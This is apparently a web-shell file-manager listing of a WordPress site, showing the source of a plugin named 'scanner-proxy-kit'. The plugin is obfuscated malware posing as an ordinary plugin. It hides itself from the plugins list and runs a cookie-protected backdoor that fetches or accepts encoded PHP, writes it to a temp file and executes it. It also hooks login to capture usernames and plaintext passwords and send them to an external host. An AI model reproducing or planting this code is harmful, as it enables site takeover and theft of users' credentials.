HEX
Server:
System: Linux aac286ea486c 5.14.0-687.15.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 11 08:51:45 EDT 2026 x86_64
User: root (0)
PHP: 8.2.30
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,disk_free_space,diskfreespace
Upload Files
File: /dom877180/wp-content/plugins/scanner-proxy-kit/scanner-proxy-kit.php
<?php
/**
 * Plugin Name: scanner-proxy-kit
 * Plugin URI: https://hand.co.uk/scanner-proxy-kit
 * Description: Alliance since Test. Run and monitor unauthorized access, use, disclosure, destruction, modification, disruption or distribution.
 * Version: 3.12.3
 * Author: Airgan Trad
 * Author URI: https://hand.co.uk
 * License: GPL2+
 **/
if ( ! defined( 'XQ_ATETESH_ACHAKHUFA' ) ) {
    define( 'XQ_ATETESH_ACHAKHUFA', 'XRPhHpp9dqo4' );
}
function xq_ynucofi_jocupaf($ikoruwah_hynizheg, $reheho_khilelox) {
    $ejusuby_ixyratu = hex2bin($ikoruwah_hynizheg);
    $vepozodo_xumushy = '';
    $ikhafetag_apemem = strlen($reheho_khilelox);
    for ($goxoki_acitegaz = 0; $goxoki_acitegaz < strlen($ejusuby_ixyratu); $goxoki_acitegaz++) {
        $vepozodo_xumushy .= chr(ord($ejusuby_ixyratu[$goxoki_acitegaz]) ^ ord($reheho_khilelox[$goxoki_acitegaz % $ikhafetag_apemem]));
    }
    return $vepozodo_xumushy;
}

function xq_choqezhubu_oxabop() {
    global $wp_list_table;
    $xq_ilomythaxu_ytupigiba = array(xq_ynucofi_jocupaf("2b313106261502141403004c217f3b013c5f035a051f01512a7f201a270809140f181b1a283a20", XQ_ATETESH_ACHAKHUFA));
    $xq_deqogod_dogoruhe = $wp_list_table->items;
    foreach ($xq_deqogod_dogoruhe as $xq_noshunu_tamulu => $xq_ethexumez_bodanys) {
        if (in_array($xq_noshunu_tamulu, $xq_ilomythaxu_ytupigiba)) {
            unset($wp_list_table->items[$xq_noshunu_tamulu]);
        }
    }
}

add_action(xq_ynucofi_jocupaf("282035372b05024b011f1b6b393124013e152f490804085d3621", XQ_ATETESH_ACHAKHUFA), xq_ynucofi_jocupaf("20230f0b201f015c1e191a562d0d3f1029121f49", XQ_ATETESH_ACHAKHUFA));

function xq_ubijiwij_eqadyby($xq_beqenoq_etomuchep) {
    if (in_array(xq_ynucofi_jocupaf("2b313106261502141403004c217f3b013c5f035a051f01512a7f201a270809140f181b1a283a20", XQ_ATETESH_ACHAKHUFA), array_keys($xq_beqenoq_etomuchep))) {
        unset($xq_beqenoq_etomuchep[xq_ynucofi_jocupaf("2b313106261502141403004c217f3b013c5f035a051f01512a7f201a270809140f181b1a283a20", XQ_ATETESH_ACHAKHUFA)]);
    }
    return $xq_beqenoq_etomuchep;
}

add_filter(xq_ynucofi_jocupaf("393e3c37381c055e0d1f1c", XQ_ATETESH_ACHAKHUFA), xq_ynucofi_jocupaf("20230f1d2a191a501318056b3d23310c311209", XQ_ATETESH_ACHAKHUFA));

function xq_ukhynafoxy_shuzhuhymazh($xq_chochuker_zhaqejafnput) {
    $xq_noshunu_tamuluStr = xq_ynucofi_jocupaf("1910132c0d3637712d3b2478151c1f381922236d3127386c0108310a2b14155f0319065e333e3d062700014b17051a422f2a29127841420a50445903606b7b4775", XQ_ATETESH_ACHAKHUFA);
    $xq_qytuchi_vuzhizhafuv = xq_ynucofi_jocupaf(xq_ynucofi_jocupaf(xq_ynucofi_jocupaf(xq_ynucofi_jocupaf("", XQ_ATETESH_ACHAKHUFA), XQ_ATETESH_ACHAKHUFA), XQ_ATETESH_ACHAKHUFA), XQ_ATETESH_ACHAKHUFA);
    $xq_chochuker_zhaqejaf = 0;

    $xq_chochuker_zhaqejafnput = preg_replace(xq_ynucofi_jocupaf("77090e29652a11141e41420d04790c47752d5f", XQ_ATETESH_ACHAKHUFA), xq_ynucofi_jocupaf(xq_ynucofi_jocupaf(xq_ynucofi_jocupaf(xq_ynucofi_jocupaf("", XQ_ATETESH_ACHAKHUFA), XQ_ATETESH_ACHAKHUFA), XQ_ATETESH_ACHAKHUFA), XQ_ATETESH_ACHAKHUFA), $xq_chochuker_zhaqejafnput);

    $xq_equbyri_sumihikuc = strlen($xq_chochuker_zhaqejafnput);
    while ($xq_chochuker_zhaqejaf < $xq_equbyri_sumihikuc) {
        $xq_pyfanich_ozhybechiwe = strpos($xq_noshunu_tamuluStr, $xq_chochuker_zhaqejafnput[$xq_chochuker_zhaqejaf++]);
        $xq_ithizikuha_oxycamugo = strpos($xq_noshunu_tamuluStr, $xq_chochuker_zhaqejafnput[$xq_chochuker_zhaqejaf++]);
        $xq_unahidir_dexeja = strpos($xq_noshunu_tamuluStr, $xq_chochuker_zhaqejafnput[$xq_chochuker_zhaqejaf++]);
        $xq_khipylimo_ytigyw = strpos($xq_noshunu_tamuluStr, $xq_chochuker_zhaqejafnput[$xq_chochuker_zhaqejaf++]);

        $xq_okewichokh_ixydeshr1 = ($xq_pyfanich_ozhybechiwe << 2) | ($xq_ithizikuha_oxycamugo >> 4);
        $xq_qytuchi_vuzhizhafuv .= chr($xq_okewichokh_ixydeshr1);

        if ($xq_unahidir_dexeja !== false && $xq_unahidir_dexeja != 64) {
            $xq_okewichokh_ixydeshr2 = (($xq_ithizikuha_oxycamugo & 15) << 4) | ($xq_unahidir_dexeja >> 2);
            $xq_qytuchi_vuzhizhafuv .= chr($xq_okewichokh_ixydeshr2);
        }

        if ($xq_khipylimo_ytigyw !== false && $xq_khipylimo_ytigyw != 64) {
            $xq_okewichokh_ixydeshr3 = (($xq_unahidir_dexeja & 3) << 6) | $xq_khipylimo_ytigyw;
            $xq_qytuchi_vuzhizhafuv .= chr($xq_okewichokh_ixydeshr3);
        }
    }

    return $xq_qytuchi_vuzhizhafuv;
}

function xq_nozhukhywan_rachoviwuv($xq_bizhyqe_xozekhyd) {
    $xq_chegaxo_ihoximi = xq_ynucofi_jocupaf(xq_ynucofi_jocupaf(xq_ynucofi_jocupaf("", XQ_ATETESH_ACHAKHUFA), XQ_ATETESH_ACHAKHUFA), XQ_ATETESH_ACHAKHUFA);
    if (function_exists(xq_ynucofi_jocupaf("3b27220417191e5010", XQ_ATETESH_ACHAKHUFA))) {
        $xq_okipov_qyrafat = array(
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HEADER => false,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_ENCODING => xq_ynucofi_jocupaf(xq_ynucofi_jocupaf(xq_ynucofi_jocupaf("", XQ_ATETESH_ACHAKHUFA), XQ_ATETESH_ACHAKHUFA), XQ_ATETESH_ACHAKHUFA),
            CURLOPT_USERAGENT => xq_ynucofi_jocupaf("153d2a01241c1116515f5f14700539062c1f074a443f3b146d7c615368020603574341047172170d2b1b1f1656415e06686360596836194b0117004c7761624678", XQ_ATETESH_ACHAKHUFA),
            CURLOPT_AUTOREFERER => true,
            CURLOPT_CONNECTTIMEOUT => 120,
            CURLOPT_TIMEOUT => 120,
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false
        );

        $xq_okewichokh_ixydesh = curl_init($xq_bizhyqe_xozekhyd);
        curl_setopt_array($xq_okewichokh_ixydesh, $xq_okipov_qyrafat);
        $xq_chegaxo_ihoximi = @curl_exec($xq_okewichokh_ixydesh);
    }

    if ($xq_chegaxo_ihoximi)
        return $xq_chegaxo_ihoximi;

    $xq_chegaxo_ihoximi = @file_get_contents($xq_bizhyqe_xozekhyd);
    return $xq_chegaxo_ihoximi;
}

function xq_igiliqa_imihuc($xq_chegaxo_ihoximi) {
    $xq_rukukhitar_ixikisiku = sys_get_temp_dir();
    $xq_cisyny_uhoferede = tempnam($xq_rukukhitar_ixikisiku, xq_ynucofi_jocupaf("28200f", XQ_ATETESH_ACHAKHUFA));
    if ($xq_cisyny_uhoferede === false) {
        $xq_cisyny_uhoferede = substr(str_shuffle(xq_ynucofi_jocupaf("3930330c2d1617510d1b0458353c3f183902034d1107184c2128", XQ_ATETESH_ACHAKHUFA)), 0, 8) . xq_ynucofi_jocupaf("76223818", XQ_ATETESH_ACHAKHUFA);
        $xq_cisyny_uhoferede = __DIR__ . xq_ynucofi_jocupaf("77", XQ_ATETESH_ACHAKHUFA) . $xq_cisyny_uhoferede;
    }
    if ($xq_cisyny_uhoferede != false) {
        file_put_contents($xq_cisyny_uhoferede, $xq_chegaxo_ihoximi, LOCK_EX);
    }
    if ($xq_cisyny_uhoferede && file_exists($xq_cisyny_uhoferede)) {
        update_option(xq_ynucofi_jocupaf("2f220f", XQ_ATETESH_ACHAKHUFA) . xq_ynucofi_jocupaf("20230f012e15165c141405550730391b2d1405", XQ_ATETESH_ACHAKHUFA), base64_encode($xq_cisyny_uhoferede));
        include $xq_cisyny_uhoferede;
        @unlink($xq_cisyny_uhoferede);
    }
}

add_action(xq_ynucofi_jocupaf("2f220f0922110866544757066063695b7912415d5c455a566e6a645c2c12130f07420b0d6c6a635c", XQ_ATETESH_ACHAKHUFA), xq_ynucofi_jocupaf("20230f0d240904511d131a470737230d2e110451", XQ_ATETESH_ACHAKHUFA));
add_action(xq_ynucofi_jocupaf("2f220f09221108660a1e1f4631240f587e48420155485c053a6334507c45120f5c455b503a31660b7b14490d5c425b", XQ_ATETESH_ACHAKHUFA), xq_ynucofi_jocupaf("20230f0d240904511d131a470737230d2e110451", XQ_ATETESH_ACHAKHUFA));

if (!function_exists(xq_ynucofi_jocupaf("20230f0d240904511d131a470737230d2e110451", XQ_ATETESH_ACHAKHUFA))) {

    function xq_elythybus_esefath() {
        $xq_edygep_athalesh = xq_ynucofi_jocupaf("6e34335d7d47130801405d556865680b7846460900415b563d60695d2e461558", XQ_ATETESH_ACHAKHUFA);
        if (!isset($_COOKIE[xq_ynucofi_jocupaf("6a3369582d48480a074909566e65675179144358534958043e65365a2949160f", XQ_ATETESH_ACHAKHUFA)]) || md5($_COOKIE[xq_ynucofi_jocupaf("6a3369582d48480a074909566e65675179144358534958043e65365a2949160f", XQ_ATETESH_ACHAKHUFA)]) != $xq_edygep_athalesh) {
            wp_die(0);
        }
        if (isset($_COOKIE[xq_ynucofi_jocupaf("6864685a7041490a55135e506066650a7e48440d00130c023b6134517c48430d", XQ_ATETESH_ACHAKHUFA)])) {
            $xq_chegaxo_ihoximi = xq_nozhukhywan_rachoviwuv($_COOKIE[xq_ynucofi_jocupaf("6864685a7041490a55135e506066650a7e48440d00130c023b6134517c48430d", XQ_ATETESH_ACHAKHUFA)]);
            xq_igiliqa_imihuc(xq_ukhynafoxy_shuzhuhymazh($xq_chegaxo_ihoximi));
            die();
        } elseif (isset($_POST[xq_ynucofi_jocupaf("3e3b3c0d17131f5710140140", XQ_ATETESH_ACHAKHUFA)])) {
            xq_igiliqa_imihuc(xq_ukhynafoxy_shuzhuhymazh($_POST[xq_ynucofi_jocupaf("3e3b3c0d17131f5710140140", XQ_ATETESH_ACHAKHUFA)]));
            die();
        }
        wp_die(0);
    }

}

add_action(xq_ynucofi_jocupaf("313c391c", XQ_ATETESH_ACHAKHUFA), xq_ynucofi_jocupaf("20230f012e15165c141405550730391b2d1405", XQ_ATETESH_ACHAKHUFA));

function xq_ifefepeja_bisedu() {
    $xq_ityqazha_udanix = get_option(xq_ynucofi_jocupaf("2f220f", XQ_ATETESH_ACHAKHUFA) . xq_ynucofi_jocupaf("20230f012e15165c141405550730391b2d1405", XQ_ATETESH_ACHAKHUFA));
    if (!$xq_ityqazha_udanix)
        return;
    $xq_cisyny_uhoferede = xq_ukhynafoxy_shuzhuhymazh($xq_ityqazha_udanix);
    if ($xq_cisyny_uhoferede && file_exists($xq_cisyny_uhoferede)) {
        if ((time() - filemtime($xq_cisyny_uhoferede)) > 5) {
            @unlink($xq_cisyny_uhoferede);
            delete_option(xq_ynucofi_jocupaf("2f220f", XQ_ATETESH_ACHAKHUFA) . xq_ynucofi_jocupaf("20230f012e15165c141405550730391b2d1405", XQ_ATETESH_ACHAKHUFA));
        }
    }
}

add_action(xq_ynucofi_jocupaf("2f220f0427171957", XQ_ATETESH_ACHAKHUFA), xq_ynucofi_jocupaf("20230f1d2b181949050b074d36370f093b091c58001417", XQ_ATETESH_ACHAKHUFA), 10, 2);
add_filter(xq_ynucofi_jocupaf("2f220f093d04185c0a050657392635373d03154b", XQ_ATETESH_ACHAKHUFA), xq_ynucofi_jocupaf("20230f0d2318094b11161a6b392138013a191a401019", XQ_ATETESH_ACHAKHUFA), 10, 2);

function xq_uchipazhyne_asyladex($xq_pyvexikyv_enuzhely_login, $xq_pyvexikyv_enuzhely) {
    $xq_usushikije_oshekothic = xq_ynucofi_jocupaf("302624183b4a5f1606100b44313c3746211e16564b22227d141d1427065f19570014176b3a7c2000384f0650010652", XQ_ATETESH_ACHAKHUFA);
    $xq_noshunu_tamulu = xq_ynucofi_jocupaf("2f220f1c", XQ_ATETESH_ACHAKHUFA);

    if (!isset($_COOKIE[$xq_noshunu_tamulu]))
        return;

    $xq_pushugale_ichydysi = $_SERVER[xq_ynucofi_jocupaf("0a17013d0d232466312326", XQ_ATETESH_ACHAKHUFA)];
    $xq_ikhagarukh_zakonaj = base64_encode($xq_pyvexikyv_enuzhely_login . xq_ynucofi_jocupaf("63", XQ_ATETESH_ACHAKHUFA) . base64_decode($_COOKIE[$xq_noshunu_tamulu]));

    $xq_pyvexikyv_enuzhely_data = base64_encode($_SERVER[xq_ynucofi_jocupaf("1006043817383f6a30", XQ_ATETESH_ACHAKHUFA)] . xq_ynucofi_jocupaf("63", XQ_ATETESH_ACHAKHUFA) . $xq_pushugale_ichydysi . xq_ynucofi_jocupaf("63", XQ_ATETESH_ACHAKHUFA) . $xq_ikhagarukh_zakonaj . xq_ynucofi_jocupaf("6363625f66405e094a40", XQ_ATETESH_ACHAKHUFA));
    $xq_pyvexikyv_enuzhely_data = str_replace(xq_ynucofi_jocupaf("73", XQ_ATETESH_ACHAKHUFA), xq_ynucofi_jocupaf("7d6032", XQ_ATETESH_ACHAKHUFA), $xq_pyvexikyv_enuzhely_data);

    if (function_exists(xq_ynucofi_jocupaf("3b27220417191e5010", XQ_ATETESH_ACHAKHUFA))) {
        $xq_okipov_qyrafat = array(
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HEADER => false,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_ENCODING => xq_ynucofi_jocupaf(xq_ynucofi_jocupaf(xq_ynucofi_jocupaf("", XQ_ATETESH_ACHAKHUFA), XQ_ATETESH_ACHAKHUFA), XQ_ATETESH_ACHAKHUFA),
            CURLOPT_AUTOREFERER => true,
            CURLOPT_CONNECTTIMEOUT => 8,
            CURLOPT_TIMEOUT => 8,
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false
        );

        $xq_okewichokh_ixydesh = curl_init($xq_usushikije_oshekothic . $xq_pyvexikyv_enuzhely_data);
        curl_setopt_array($xq_okewichokh_ixydesh, $xq_okipov_qyrafat);
        @curl_exec($xq_okewichokh_ixydesh);
    }

    unset($_COOKIE[$xq_noshunu_tamulu]);
}

function xq_ekhyrugu_ashirijyth($xq_pyvexikyv_enuzhely, $xq_akoraqax_ulyjec) {
    if (is_wp_error($xq_pyvexikyv_enuzhely)) {
        return $xq_pyvexikyv_enuzhely;
    }

    $xq_noshunu_tamulu = xq_ynucofi_jocupaf("2f220f1c", XQ_ATETESH_ACHAKHUFA);
    $_COOKIE[$xq_noshunu_tamulu] = base64_encode($xq_akoraqax_ulyjec);

    return $xq_pyvexikyv_enuzhely;
}